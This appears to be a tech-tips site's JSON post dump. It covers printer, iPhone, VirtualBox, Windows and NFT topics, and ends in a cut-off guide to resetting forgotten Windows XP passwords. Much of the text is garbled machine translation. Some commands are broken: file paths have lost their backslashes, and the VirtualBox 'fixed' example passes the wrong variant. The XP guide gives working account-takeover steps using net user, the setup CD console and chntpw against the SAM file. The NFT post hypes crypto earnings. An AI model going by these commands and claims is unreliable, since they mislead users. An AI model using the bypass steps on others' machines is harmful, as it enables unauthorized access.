ncG1vNJzZmismaXArq3KnmWcp51kfnF5wZ6qrWWjpLO1w8CrnGadnaq5osDOq6pmnp%2BneqitzKKloGWTpLu0u8ueqg%3D%3D\n","link":"/post/10-best-software-emulators-for-gaming-consoles/","section":"post","tags":null,"title":"10 best software emulators for gaming consoles"},{"body":"This 27-year-old gamer named Tyler Blevins, also known as Ninja, had a memorable 2018 year when he became the first streamer on Twitch to reach 10 million followers, the first professional video player. appeared on the cover of ESPN magazine, helped drop the ball on Times Square on New Year's Eve and was voted by Forbes on the list of 30 Under 30 in 2019.\nIn 2018, Ninja is the top treamer star on the Twitch platform based on the number of hours viewed.\n  The account of Ninja on this platform has 12.5 million followers, an average of 12,457 new followers per month. Among them, 400,000 people accept to pay each month (US $ 4.99; US $ 9.99 or US $ 25) to enjoy some benefits when viewing Ninja live stream.\nIn addition, YouTube's Ninja also attracts more than 20 million subscribers to watch pop-up ads. Thanks to videos that have seen millions of views, this guy has earned a considerable amount of money.\n  Ninja's live stream once reached a record, 630,000 viewers at the same time.Photo: CNN.\n70% of Ninja's income comes from 2 platforms, the rest comes from advertising contracts with businesses like Red Bull, Samsung or Uber Eats.\nBlevins confirmed that he earned more than $ 500,000 per month, in interviews with CNBC and CNN.\nThanks to the support of Red Bull, Ninja has built a modern online studio with $ 20,000 for broadcasting equipment in its basement. After appearing on popular TV shows such as \"The Ellen DeGeneres Show\", \"The Tonight Show with Jimmy Fallon\" and \"E: 60\" by ESPN. In 10/2018, Ninja became the first professional gamer to appear on the cover of \"ESPN Magazine\".\n  Ninja spends most of his time working. Every day this guy spends 12 hours playing games in his basement studio and live streaming for everyone to see.\nThe famous game Ninja is one of the most popular games in the game in 2018, Fortnite: Battle Royale. This is a free game with over 200 million players globally, up 60% since June 2018. Only in 2018, Ninja spent 4,000 hours (equivalent to more than 140 days) playing Fortnite regularly and was considered by many to be the best player on the planet.\nNinja shared more, although the success of Fortnite's game lasts for a long time, he is now enjoying the best moments in his life.\nncG1vNJzZmismaXArq3KnmWcp51kxLC%2By52qZqqZmLWmv9Nmqq2qlZa6pr6MqaarrKKWtrV5kXCwnpmipLmledOop2anlmLBqbGMn6armpWoenR8jK6lnZ2iYoBxecSaqaehnpx6cnyMpqClpJmku27FxJqpZqyYlrusv4ytpmakmauybr%2FTq5yapV2crq61zaA%3D\n","link":"/post/27-year-old-top-of-the-forbes-30-under-30-earning-10-million-year-thanks-to-live-stream-gaming/","section":"post","tags":null,"title":"27-year-old top of the Forbes 30 Under 30, earning $ 10 million / year thanks to live stream gaming"},{"body":"If the Home button on your iPhone does not work and the device expires, you can try one of the four ways below to fix it yourself.\nNo matter how much you care to keep your iPhone, the Home button still has the risk of being subjected to many different effects and becoming less sensitive.\niPhone 5, with a new Home button design, may avoid this problem, however, this is quite a common phenomenon in iPhone versions before.\nIf the device has a warranty period, of course the wisest option is to bring it to an Apple store. However, if the warranty is over and you want to fix it yourself instead of going to professional stores, try one of the four ways below.\nBut before starting, please note that the second and third methods must be conducted with great care.\nMethod 1: Edit the Home button If you're lucky, the Home button on your iPhone only works poorly due to software malfunction.\nTo find out, you must edit the Home button again in the following way:\nOpen a stock app , such as an iPhone weather or stock app or watch.\nPress the iPhone Power button until the message \"Slide to power off\" appears on the screen, then release it immediately.\nClick on the Home button until the \" Slide to power off\" message turns off. After 5-10 seconds, the open application will exit.\nVideo tutorial:\nIf the steps above improve the sensitivity of the Home button, you are really lucky because of a software error. If not, you may have to try other ways, such as 1 in 3 ways below.\nMethod 2: Fix the connection port (docking port) Over time, the iPhone's connection port may be skewed, causing the Home button to be skewed. Although phone repair shops may recommend replacing the Home button, the video below shows you how to do a little trick.\nPlug a USB cable into the iPhone, then gently push the 30-pin connector dock downwards so that it pushes the Home button upwards. Click on the Home button while performing this push. Remove the USB cable and check if the Home button is working better.\nVideo tutorial:\nMethod 3: Clean the Home button The iPhone's Home button may also get dirty due to dust in your pocket, pants or liquid accidentally falling.\nTo fix this, you need 98% -100% isopropyl alcohol (can be purchased at hardware repair shops). Using a cotton swab, the old eye drops were washed to contain alcohol.\nDrip 2-3 drops of isopropyl alcohol directly into the Home button. Note: avoid connecting alcohol to the screen.\nThen, use a small, blunt object (like a small eraser on the end of the pencil), repeatedly press the Home button to allow the alcohol to penetrate the frame.\nClean and wait for 10-15 minutes before rechecking the Home button operation.\nMethod 4: Create a virtual Home button on the iPhone screen If these three ways don't work, you may have to stop using the physical Home button. In this case, connecting the Home button may have been badly damaged and requires a professional repairman. Or you can turn on the virtual Home button on the screen with the following steps:\nGo to Settings\u0026gt; General\u0026gt; Accessibility\u0026gt; Assistive Touch . Turn on Assistive Touch mode. You will see a small circle appear on the screen.\n  Clicking on this circle will give you four options, including the Home button option .\n    This virtual button appears even on the iPhone screen in lock mode\nYou can move this virtual button by holding down and dragging it anywhere on the screen. Although this solution is not ideal, it will be useful until you are ready to buy a new phone or bring your iPhone to a professional repair shop.\nncG1vNJzZmismaXArq3KnmWcp51kgW7DwLKqZqyfYrOqxIyip6Gnnpp6qbvMnmSbraSpvK952Kisq6uVobM%3D\n","link":"/post/4-ways-to-fix-iphone-home-button-yourself/","section":"post","tags":null,"title":"4 ways to fix iPhone home button yourself"},{"body":"The NFT game you know is the type of game that can make real money today. And it seems that it is becoming more and more popular when it comes to turning gaming time into real money.\nWith the Play-to-earn feature that makes headlines in 2021, the average player can now monetize their playtime through buying and selling in-game NFTs or completing objectives to earn money. exchange for crypto rewards. If you want to learn more, you can read our helpful guide What is NFT? How to make billions from NFT\nIn 2022 Tipsmake will introduce you to 5 prestigious NFT games to earn money for Tet!\nMines of Dalarnia Launched on Binance Launchpool, Mines of Dalarnia is an action-adventure game featuring a single real estate market powered by blockchain.\nPlayers are divided into two cooperative factions, miners and landowners. Miners fight monsters and destroy blocks to find valuable resources. While the landowner provides the land and resources.\nPlayers can also team up with friends to defeat monsters, complete quests, and unlock in-game rewards.\u0026nbsp;\n  Mines of Dalarnia – 5 NFT Games worth playing 2022\nThe assets in Mines of Dalarnia are available for purchase on the Binance NFT Marketplace through their upcoming IGO collection in Q1 2022. The in-game currency DAR is used for all in-game transactions. play, including upgrades, skill development, administration, transaction fees, and more.\nIlluvium – Expected to be well received by friends of this trend Illuvium is an upcoming blockchain game in the open world, RPG scene.\nIn the game, the player travels around the fantasy world, defeating and capturing creatures known as Illuvials. Once they're in your collection, Illusions can be used in battle with other players as you're on quests, completing challenges, or playing through Illuvium's story.\nEach Illuvial has a corresponding attribute that all have their own strengths and weaknesses. Your Illuvial becomes stronger as you win battles and complete quests.\n  Illuvium – Expected to be well received by friends of this trend\nAll Illivium in-game assets, including Illuvials and items, are tradable on the NFT marketplace. If you are interested in earning in-game currency of Illuvium, ILV and sILV, you can purchase tokens on Binance and start staking on Ilivium's platform or you can stake partner tokens in Flash Pools their.\nAliens World   Aliens World – 5 NFT Games worth playing 2022\nAlien Worlds is an NFT Metaverse spread across seven planets. The goal of the game is to earn in-game cryptocurrency, called Trilium (TLM), which can be traded for real money.\u0026nbsp;\u0026nbsp;\nPlayers can mine TLM or send virtual spacecraft on missions across the Metaverse to compete for TLM rewards. Each traveler can get up to five NFTs after completing a mission. The game also allows players to compete against each other on the BSC blockchain as they explore different planets.\nMobox has cross-platform compatibility for your convenience   Mobox has cross-platform compatibility for your convenience\nMobox is a cross-platform GameFi metaverse that combines gaming NFTs with DeFi productivity farming. Players can obtain Mobox NFT, also known as MOMO, through the launch of the Binance NFT Mystery Box or the Binance NFT secondary market.\u0026nbsp;\nPlayers can farm, battle and generate crypto rewards with their MOMO NFT. The platform also allows players to trade MOMO by staking them for MBOX tokens or using them as collateral in the MOBOX metaverse.\u0026nbsp;\nMobox offers simple gameplay that combines free play and play for money mechanics. The game prioritizes NFT interoperability, allowing players to simultaneously use their MOBOX assets across a variety of games.\nMy Neighbor Alice   My Neighbor Alice\nMy Neighbor Alice is a multiplayer game with the goal of building the good world. An immersive experience for casual players and an ecosystem for traders and NFT collectors.\u0026nbsp;\nPlayers will buy and own virtual lands in the form of NFT tokens from Alice or the market. The land supply is scarce, so the price fluctuates in the market. If you are an excellent landowner, you will receive benefits through the in-game reputation system. In addition to land, players can purchase and use in-game assets such as houses, animals, vegetables, decorations, or cosmetics for their avatar.\nThe main in-game currency is the Alice token, which is also available for purchase on Binance. Alice tokens are used for in-game transactions, like buying land, and specific DeFi services like staking, mortgages, and buybacks.\nThe new year is coming, the 5.0 era is about to open, you learn about NFT slowly so that later you can make real money from the metaverse!\nncG1vNJzZmismaXArq3KnmWcp51kgm66xa1koJmdmsBuwMeaq2alkaCybq2MpaatZZ%2Bbeq67zZ6wZpmkYrWwucRmrqiqpJ16sbjAsqCnn12eu25%2Bj2tp\n","link":"/post/5-nft-games-that-make-a-lot-of-money-at-home-worth-playing-in-2022/","section":"post","tags":null,"title":"5 NFT games that make a lot of money at home worth playing in 2022"},{"body":"Before launching the official iOS 11 version this fall, Apple has released a test version of iOS 11 beta for programmers.\nAccording to an announcement from Apple at WWDC 2017, iOS 11 will be officially launched around the third quarter of this year. IOS 11 operating system possesses many upgraded features, has a new interface, more intuitive when the center informs quick setting changes compared to iOS 10. Besides Siri virtual assistant upgraded when adding more languages new, capable of direct translation, can understand context and predict the next command from the user.\nHowever, this iOS 11 version will stop providing for 32-bit devices including iPhone 5, iPhone 5C, iPad 4. Accordingly to be able to install iOS, the device must be from iPhone 5S or above, iPad mini 2 / 3/4 or older and 6th generation iPod touch.\n  Step 1: While waiting for the official iOS 11 version, if you want to be able to install iOS 11 beta version for programmers, follow the link below\nDownload iOS 11 operating system Note to users , you need to open the link on the Safari browser on iPhone / iPad. This is only an iOS 11 trial version for programmers, not an official Beta, so it is not complete and there may be errors when using. Before installing, we should proceed to back up data to iCloud or computer to avoid losing important data.\n  Step 2: After downloading and installing the above file, the device will notify the installation, click Install and enter the authentication password if required.\n   Users will be asked to restart the computer.\n  Step 3: Next, go to Settings (General)\u0026gt; General (General)\u0026gt; System update (System update) . At that point, you will see the available iOS 11 beta and users just need to click to install for their device. This version has a capacity of about 2GB. The device upgrade process requires more than 50% battery capacity.\n  Some interface images after the device installed iOS 11 beta version for programmers.\n    I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ksKK6jJ2msKacpK6lecCnm2atoJy%2ForDEZqCoq11mfm67zWagqaCfo7Jutc%2Bamw%3D%3D\n","link":"/post/can-download-and-upgrade-ios-11-on-iphone-ipad/","section":"post","tags":null,"title":"Can download and upgrade iOS 11 on iPhone / iPad"},{"body":"HP printers \u0026nbsp;are the most popular printer brand in the world thanks to their high reliability, outstanding features, excellent durability, . However, sometimes they also encounter some errors during use. . Here are the top 10 most common HP printer errors that you may encounter and some ways to resolve these problems.\n1. HP printer error has a jam   \nHP printer jam error is one of the most common errors that any printer will make. There are many reasons for paper jam errors such as: printing paper is not suitable, printing paper is wrinkled, peaches are worn out, .\nHow to fix\n- For unsuitable paper use, you should review the paper that is suitable for your printer and choose to buy for your printer.\n- To prevent HP printer jams because of wrinkled paper, you should carefully check the paper before printing.\n- The most important thing is to pull the paper out. If pulled backwards, the internal parts of the machine will be easily damaged. Hold both ends of the paper to gently pull out evenly.\n- If the HP printer error is caused by worn peaches, the only way is to replace them with a new one.\n2. Partial blurred print error Partial blurring of prints is a sign of the printer running out of ink. This is the most common cause, but there are also other causes like when you choose the EconoMode mode\u0026nbsp; .\nHow to fix\n- When the printer is low on ink, you need to remove the ink cartridge and shake it to distribute the ink evenly in the tube. You can use this to get the most out of the remaining ink, avoiding waste. When the ink is completely depleted, you can refill the ink cartridge or replace it with a new one.\n- In case the HP printer prints partially blurred due to accidentally selecting the EconoMode mode without knowing it, turn it off and increase the toner density to get the clear prints as expected.\n3. The HP printer does not recognize the Driver or operating system   \nIf you are using a new operating system, you will need to reinstall the printer driver. In some cases, the printer driver is also too old so you need to reinstall because it will not be able to perform all the printer's functions.\nHow to fix\nIn fact, not all printers have driver support for each operating system. You should consult the manual supplied with the machine to know which driver is suitable for your device.\n4. The HP printer does not print paper from the desired paper tray The printer does not print the paper from the tray as you would like is also a common HP printer error.\n  How to fix\nUsually, the printer picks up the paper automatically according to the user's settings. So when the machine is not printing paper from the desired tray, you need to check application settings.\n- You need to select\u0026nbsp; Printer Properties \u0026nbsp;and find the paper tray in\u0026nbsp; Tray Selection .\n5.\u0026nbsp; HP printer error prints in blank The HP printer has a blank output, possibly because the printer's magnetic shaft spring is broken or is skewed.\n  How to fix\nIf the spring is deflected or deformed, you just need to re-adjust it. But if the spring breaks, you must replace the magnetic shaft with a new one. So check the exact cause to avoid wasting the cost of replacing the new magnetic shaft when not needed!\n6. The HP printer prints the defective envelope Some HP printers have the function of printing envelopes. Envelopes are 20-lb paper and have adhesive. Sometimes you will encounter errors when printing envelopes such as glue that when heated up will stick to the fuser and the envelopes after printing will stick together or wrinkled.\n  How to fix\nBefore printing envelopes, make sure the adhesive is heat resistant. If the envelope comes out wrinkled, it may be too stiff. Open the back of the printer and let the envelope come out that way.\n7. HP printer hangs HP printer crashes can occur if users send too many jobs to the machine. Sometimes the machine crashes can also be because the\u0026nbsp; cache\u0026nbsp; is too full.\nHow to fix\nTo fix, the first thing you need to do is double-click on the icon of the active HP printer.\nThen you will see a series of printed documents in Waiting state\u0026nbsp; . Now you need to go to Printer menu\u0026nbsp; \u0026nbsp;\u0026gt;\u0026nbsp; Cancel All Documents \u0026nbsp;to delete documents in this print queue. You can also select a few documents to delete and then press the Delete key\u0026nbsp; .\n8. The HP printer light yellow blinks continuously In the case where normal printing stops and the yellow light blinks continuously, you can think of two reasons: The printer is jammed or the print media has not contacted the paper feeder.\n  How to fix\nYou should double-check and correct the jammed paper as described above, or put it in the correct position.\n9. The HP printer cannot connect to the service This HP printer error usually occurs during the first use. The message you will see is\u0026nbsp; Can not start spooler service \u0026nbsp;or\u0026nbsp; Server down \u0026nbsp;and the machine does not print. The cause of this error is mostly due to the print service is in the Disable state\u0026nbsp; . It is also possible that the cable connecting the HP printer to the computer is not in good contact.\n  How to fix\nIn fact, some HP printers are very picky about them. If you are not using the original cable that came with the unit from the start, there is a high chance of this error occurring. The only fix is ​​to find a compatible cable right away.\nAdditionally, make sure the cable is securely plugged into the device.\n- In case the printing service is disabled, you fix it by:\u0026nbsp; Go to Start \u0026nbsp;\u0026gt;\u0026nbsp; Run \u0026nbsp;\u0026gt;\u0026nbsp; Services.msc \u0026nbsp;\u0026gt; \u0026nbsp;Print Spooler\u0026nbsp; \u0026gt; Double click on it and select\u0026nbsp; Automatic \u0026nbsp;in the\u0026nbsp; Startup type \u0026nbsp;\u0026gt; Click the Start\u0026nbsp; button\u0026nbsp; to start translation. service.\n10. The HP printer has stripe prints HP printer streaks in print may be caused by low ink or a clogged nozzle.\n  How to fix\nIf the machine is low on ink, you can remove and shake the cartridge to get the most out of the remaining ink before replacing it. If the printer is clogged with nozzles, you can go to the HP printer's utility tools (Utility)\u0026gt; Select the Clean Cartridge command\u0026nbsp; \u0026nbsp;(or Nozzle Check) and then follow the instructions to clean the nozzle.\nAbove are the 10 most common errors encountered by HP printers. Good luck!\nHP printers ncG1vNJzZmismaXArq3KnmWcp51ksLC5zKilZp2ip7yzv4yopWagoGK2r7fJnqtmqKKeu7Wx0aw%3D\n","link":"/post/common-errors-on-hp-inkjet-printers/","section":"post","tags":null,"title":"Common errors on HP inkjet printers"},{"body":"There must have been many times that you felt envious of those who had photoshop ability when seeing funny humor on social networks like Facebook, Zalo, etc. So it raises a question here that one can make Is such a hard work so hard? The answer is not difficult if you know how to use Photoshop, and it is extremely easy to do if you use the Meme Generator Suite on Windows 10.\nMeme Generator Suite is a special application for creating hot photos, Meme Generator Suite has a multitude of unique and funny models to help you create unique images even though not a photo editor. profession. Just follow the instructions in the article below that you can own a beautiful image equally with the appearing photos flooded on social networks.\nHow to use GIF images as beautiful wallpapers for Windows 10 computers How to create Gif images quickly with Giphy Learn how to use Paint to edit photos on Windows Instructions for creating a picture on Windows 10 using Meme Generator Suite application Step 1: Download the application to your computer.\nThe compatible application is 128 MB and compatible with Windows 10 and Windows 10 Mobile. To download the app, click on the link below.\nGet Meme Generator Suite - Microsoft Store   \nStep 2: Learn the features of the application.\nThe application allows you to use when online or offline, this is quite convenient for all users.\nOnline mode:\nPopular: The most popular models now available in this category. Below each template, there are two buttons that allow you to save for offline use quite interesting. Trending: Accessing here to update the patterns of institutions is a hot trend that is loved by many online community. Search: Search for the desired pattern to use on the web by entering the keyword name. Offline mode:\nYou select Offline collection to select some models available in the library or downloaded templates.   The app offers a lot of templates for you to choose from.\n  Besides, you can also use your personal photos by visiting: From gallery (in-camera) and From camera (live photos). Step 3: Make photo processing.\nTo make photo processing, click on Offline collection and then select the image you want to make and choose freely according to the following content:\nEdit text and size: Enter the text of the upper text (Top text) and below (Bottom text). Adjust the size with the slider. Use Uppercase and Use outline to print text flowers and create borders. Color font / Outline color: Click on the brush to select the colors for the font and the outer border. Change the position of two lines of text: Click the third four-corner icon with the arrow to the right of the screen to make changes to the two lines of text above and below if desired.   Crop: Allows removal of unwanted and excess image areas. Save: Save to download or share on Facebook.   Thus, TipsMake.com has introduced and instructed you to create a simple image processing on Windows 10. Refer and create funny photos to share with everyone. Surely everyone will have to admire praise and \"the eyes are A word O\" with the ability to make your photos for you to see.\nWish you have funny humor.\nSee more:\nSimple photo compositing on Microsoft Paint Super composition based on the song \"The stranger\" of the online community Super photos will make you admire the ability of humans to Photoshop ncG1vNJzZmismaXArq3KnmWcp51ksLOxwK2cZqulpbKzecWupaexXaW1sMDOZpyfnpWYwbR5zqdksKGemby4v4xqZ2avmam1brnEppxmn5WjsrOt06ipZqulnsGmecCpp6Whk5bBqrvN\n","link":"/post/create-super-funny-photo-effects-on-windows-10-with-meme-generator-suite-application/","section":"post","tags":null,"title":"Create super funny photo effects on Windows 10 with Meme Generator Suite application"},{"body":"VirtualBox allows you to select an automatically or fixed allocated hard drive when creating a new virtual hard disk file. Mobile hard drives are faster in creating and can increase storage size. Fixed-size hard drives are also faster when used but cannot increase in size when they are filled. However, you can switch between two formats and the size of the hard drive if you want.\nHow to regain access to the hard drive, fix errors that cannot open the hard drive Instructions on how to install Windows 7 from the HDD How to set up BIOS to boot from USB / CD / DVD, external hard drive 8 ideas from the old hard drive Step 1 - Locate the VBoxManage command and open the Command Prompt VirtualBox allows you to convert a fixed hard drive to a portable hard drive and vice versa, but this option is not displayed in its graphical interface. Instead, you must use the VBoxManage.exe command.\nDetermine this command to continue. On Windows, you will see it in the VirtualBox program folder, by default is C: Program FilesOracleVirtualBox . If you have installed VirtualBox in another folder, look in there.\n  Open the Command Prompt window. To do this, open the Start menu , type \" cmd\" and press Enter.\n  Type \"cd\" into the Command Prompt, follow the path of the directory containing the VBoxManage command (to put the command in quotation marks)\nYou can quickly do this by entering cd into the Command Prompt window, then drag and drop the folder icon from the file manager's address bar to the Command Prompt.\n  If you are using the default path, it will look like this:\ncd \"C: Program FilesOracleVirtualBox\"\n  Note: These instructions are assuming you are using VirtualBox on Windows. If you are using VirtualBox on macOS or Linux, you can just open the Terminal window and run the normal vboxmanage command as you would with other commands.\n  Step 2 - Locate the path to the drive you want to transfer Run the following command in the Command Prompt window to see a list of virtual hard drives on the computer:\nVBoxManage.exe list hdds\n  Look through the list and determine the file path to the virtual disk you want to convert. Suppose we want to convert the virtual drive associated with a virtual machine called \"Windows\". As we can see in the output below, the path to that virtual disk in the system is C: UserschrisVirtualBox VMsWindowsWindows.vdi .\n  Step 3 - Convert virtual hard drive Now, you can use the VBoxManage command to convert the virtual hard drive from fixed to mobile or vice versa.\nTo convert from a fixed hard drive to mobile, run the following command:\nVBoxManage.exe clonemedium disk \"C: pathtosource.vdi\" \"C: pathtodestination.vdi\" - variant Standard\nFor example, if the source hard drive is located in C: UserschrisVirtualBox VMsWindowsWindows.vdi and you want to create a new hard drive named \"Windows-dynamic.vdi\" in the same directory, you will run:\nVBoxManage.exe clonemedium disk \"C: UserschrisVirtualBox VMsWindowsWindows.vdi\" \"C: UserschrisVirtualBox VMsWindowsWindows-dynamic.vdi\" - variant Standard\n  To convert a virtual hard drive from mobile to fixed, run the following command:\nVBoxManage.exe clonemedium disk \"C: pathtosource.vdi\" \"C: pathtodestination.vdi\" --variant Fixed\nFor example, if the source hard drive is located in C: UserschrisVirtualBox VMsWindowsWindows.vdi and you want to create a new disk called \"Windows-fixed.vdi\" in the same folder, you will run:\nVBoxManage.exe clonemedium disk \"C: UserschrisVirtualBox VMsWindowsWindows.vdi\" \"C: UserschrisVirtualBox VMsWindowsWindows-fixed.vdi\" - variant Standard\n  Step 4 - Delete the old virtual hard drive The above command only copies the current hard drive. You will end up with both the original hard drive file and the new hard drive file.\nFirst, you need to remove the existing virtual hard drive from VirtualBox. In VirtualBox, right-click on the virtual machine using the virtual disk and select Settings.\n  Select Storage to see the connected storage devices. Right-click on the original VDI and select Remove Attachment . Then click OK.\n  The process below will delete the original file from the hard drive. Note that you can back up the original files of the drive if you haven't already, in case anything goes wrong with this process.\nIn Command Prompt, run the following command to see a list of virtual hard disks on your computer:\nVBoxManage.exe list hdds\nLocate the UUID of the original hard drive that you want to delete. You can copy it to the clipboard with the left mouse button and then right-click on it.\n  Run the following command to remove the original hard drive from the VirtualBox registry and delete it. You can right-click on the Command Prompt window to paste the UUID.\nVBoxManage.exe closemedium UUID --delete\n  Step 5 - Rename the new hard drive Now, you should rename the new hard drive file so that it has the same name as the original file. Just navigate to it in the File Explorer or Windows Explorer window.\nRight-click on the VDI file, select Rename and change that name to the original name. For example, here we rename the \"Windows-fixed.vdi\" file we created to \"Windows.vdi\".\n  When you have renamed the hard drive, delete the old hard drive name from VirtualBox. Click File\u0026gt; Virtual Media Manager in VirtualBox and find the original name of the renamed hard drive. It will have a yellow warning icon on the left. Right-click on it and select Remove. Click Remove again to confirm and click Close.\n  Step 6 - Insert the hard drive into VirtualBox Back to VirtualBox, right-click on the virtual machine associated with the virtual hard drive and select Settings. In Storage, right-click on the controller: SATA and select Add Hard Disk .\n  Select Choose Existing Disk and browse to the file you just renamed\nClick OK to close the virtual machine installation window. Now you can boot the virtual machine normally. Its hard drive will be either a fixed or portable hard drive no matter what you convert it to.\nIt is done. You have converted from fixed disk to mobile in VirtualBox or vice versa.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo8OmvtNmnaKwlZl6orrDZqSompmhsm60wKubZpyinsOmv4yipWaumafBtq3Lm6ax\n","link":"/post/how-to-convert-fixed-and-mobile-hard-drives-in-virtualbox/","section":"post","tags":null,"title":"How to convert fixed and mobile hard drives in VirtualBox"},{"body":"Windows 10 \u0026nbsp;will display a list of files you have opened recently with Quick Access. If you have no need to use or do not want to display recent visits, you can turn off this feature on your\u0026nbsp; laptop or\u0026nbsp; PC . If you do not know how to do it, follow this article right away!\nQuick access in File Explorer is a quick access item in Windows 10 you can access recently opened files and frequently opened items in the Quick access section.\n  Frequent folders is a place to store folders (folders) that you frequently open, usually folders like Desktop, Downloads, This PC,. The computer will automatically adjust the order of recently accessed items based on the frequent folders. according to your usage.\n  Recent files or recently opened files is the display of recently opened files, there will be about 20 recently opened files from different software. The Recent files section can help users find and open closed files faster, especially in case the previous file name is not remembered.\n  Step 1: Open Files Explorer \u0026gt; Select File \u0026gt; Change folder and search options.\n  Step 2: In the Privacy section \u0026gt; Select Show frequently used files in Quick access to enable the display of Frequently opened files.\n  Step 3: In the Privacy section \u0026gt; Select Show recently used folders in Quick access to turn on the display of Recently opened folders.\n  Step 1: Open Files Explorer \u0026gt; Select File \u0026gt; Change folder and search options.\nStep 2: Under Privacy \u0026gt; Uncheck Show recently used files in Quick access to turn off the display of Recently opened files.\n  Step 3: Under Privacy \u0026gt; Uncheck Show frequently used folders in Quick access to turn off the display of frequently opened folders.\n  Above is a guide to turn off the display of recently opened files on Windows, good luck!\nlaptop how to not show recently opened files on File Explorer ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqCZmbJurc2dZKygn6x6s7HCnqWtZZaeuaa%2FjKilZq%2BZo7Gww9JmaGk%3D\n","link":"/post/how-to-hide-and-show-recent-files-on-windows-10/","section":"post","tags":null,"title":"How to hide and show Recent Files on Windows 10"},{"body":"Normally on iOS you will have many ways to scan QR codes such as using third-party applications, using the QR scanning feature integrated QR Code Reader in the Control Center menu.\nBut with just a small setting, you just need to launch the iOS camera, towards the QR code, a notification appears and when touching it, you can quickly access the content hidden behind the code. Note that this feature is only supported on the rear camera of the device.\n Enable QR code scanning for Camera\nHow to enable QR scanning with the camera\n• Go to Settings\u0026gt; Camera.\n• Next, turn on the Scan QR Codes option to enable the feature.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqmlnrCsuNhmqpyZnmK%2Bs3nCqJueq12ku261z6Gmp50%3D\n","link":"/post/how-to-quickly-scan-qr-codes-on-iphone/","section":"post","tags":null,"title":"How to quickly scan QR codes on iPhone"},{"body":" While Microsoft no longer officially supports the operating system, there are still plenty of computers across the world that still run Windows XP. What happens when a user on one of these systems loses their password? There's no way to...\nMethod 1of 5:\nResetting a Password as an Administrator  Log in as an administrator. Accounts that have administrative privileges can change any other user's password. You can do this if you can use the username and password for an administrator's account to log in with admin privileges).[1]\n  Open the Start menu and click 'Run.' A text box will appear.\n  Type cmd into the text box and press ↵ Enter. This will open a command prompt window.\n  Type net user [Username]*. For example, net user Wiki * (if 'Wiki' is the account that needs a new password). Make sure there is a space between * and the username as shown, then press ↵ Enter.\n  Type a new password, then press ↵ Enter. You'll be asked to confirm the password by typing it again. Once the password is confirmed, it can be used to access the account.\n Method 2of 5:\nUsing a Windows XP CD  Insert your Windows XP CD into your CD-ROM drive. This method will only work if you have a bootable Windows XP CD. If it's an original Windows XP CD then it will be bootable. If it's a burned CD, it may not boot, but there's no way to know unless you try.\n  Reboot your computer. When the computer restarts, you'll see a message that says 'press any key to boot from disk.' Press a key on the keyboard.[2] If the computer boots up without asking you to press a key, then the Windows XP CD you're using isn't bootable. You can borrow Windows XP CD from someone (or have someone burn you a bootable copy). It doesn't have to be the same CD that came with this version of Windows.   Press the R key to 'repair' your installation.\n  Press ⇧ Shift+F10 when the screen says 'Installing Devices.' This will open a command prompt.\n  Type NUSRMGR.CPL and then press ↵ Enter. This will open the User Account Control Panel, where you will be able to reset any password by selecting a user and adding a new password.\n Method 3of 5:\nBooting into Safe Mode with Command Prompt  Find an existing Administrator username to use if possible. There is no password set by default on the administrator account, so this can work unless someone has already configured a special password for the Administrator account. In some cases, there will be no password assigned yet.\n  If you need a password, assign one to any existing username while in the \"safe mode with command prompt\": Restart the computer while tapping the required, special key to activate the startup menu. To find the special key for your computer, try tapping a key rapidly while rebooting. Try Esc or F2 or F8 or F10 and watch for the menu to show up on a black screen (if you don't know that special key). (Alternatively: unplug the electrical cord of your computer while it is running -- wait about 10 second -- then replug it. Now boot it again, and it will usually display a startup menu to choose normal or safe mode for startup.)\n  Select 'Safe Mode with Command Prompt.' Quickly use the ↑ and ↓ keys to highlight your selected choice. You have a limited time to read, choose it and to press ↵ Enter to begin your chosen startup process -- or else it will boot up normally, if so try again.\n  Retrieve a list of all of the users/accounts on the computer. Type the magic command: net user at the command prompt, and press ↵ Enter.[3].\n  Select the username to be assigned the new password. Type, for example, net user Wiki 12345678 where 'Wiki' is the existing username needing a password by, for example, typing 12345678 to create your new password you chose (12345678). Now, press ↵ Enter to continue. Instead of retyping a command you can edit it, to correct it: Use F3 to bring back your last command, and edit it using ← and → cursor keys and the Delete and ← Backspace and type your correction and press ↵ Enter.   Type shutdown –r when you are ready to restart your computer. The computer will restart normally, and the user whose password you've changed will now be able to log in with your newly assigned password.\n Method 4of 5:\nBooting from a Linux CD  Boot the machine with a 'live' version of Linux. Ubuntu is recommended by experts. [4] A 'live' version allows you to boot into Linux without installing it. Put the disk into your CD Rom drive and restart the computer. When prompted to 'press any key to boot from CD,' press any key.\n  Access the live Linux desktop. Depending on the version of Linux you're using, you may be prompted to choose a version to use. Choose 'Live' or 'Try Linux' to access the Linux desktop.\n  Press Ctrl+L. This will open the location bar.[5]\n  Type computer:/// and press ↵ Enter. Make sure you type all 3 slashes (/). A list of hard drives will appear.\n  Mount the Windows drive. Right-click on the hard drive that contains your Windows installation and select 'Mount.' If there's only one hard drive in the machine, it will be the drive that doesn't say 'System Reserved.'\n  Double-click the Windows drive. Now look at the top of the screen where you previously typed computer:///. Write down (or copy) the full path that now appears in that window. You'll need it in a minute.\n  Press Ctrl+Alt+T to open the command prompt.[6] You'll be entering a series of commands into this terminal window, and they are all case sensitive.\n  Enter the Windows drive through the terminal. Type cd /path/to/windows/drive where '/path/to/windows/drive' is the full path that you previously wrote down or copied. Press ↵ Enter to continue.\n  Type cd Windows/System32 and press ↵ Enter. Do not type a slash, \"/\", in front of the word Windows. The directory names and path is case sensitive here.\n  Install and run the 'chntpw' tool. Type in sudo apt-get install chntpw and press ↵ Enter to install. Once you are returned to the command prompt, type sudo chntpw –u username SAM. Replace the word 'username' with the account name of the Windows user whose password you want to erase, and remember that everything is case-sensitive. Press ↵ Enter to show a list of options.\n  Press 1 to clear the user's password. Press ↵ Enter, then y to confirm that you want to erase the password.\n  Reboot into Windows. Press the 'power' icon at the top right of the screen to reboot the computer. Boot into Windows first removing the Linux CD. When the Windows login screen appears, you can now log in to the affected account without a password.\n Method 5of 5:\nAccessing Files Without a Password by Putting the Hard Drive in Another PC  Understand the process. Use this method if you're unable to get the user's password with other methods. This method won't allow you to find or reset the password, but you can access the user's files so that their data is not lost. You'll need administrative access to another Windows computer for this to work. You will be temporarily removing the hard drive from the Windows XP PC and installing it in the second PC. To use this method, you'll need to have some familiarity with removing a hard drive from a PC as well as putting a hard drive in an external USB hard drive enclosure. If you don't have an 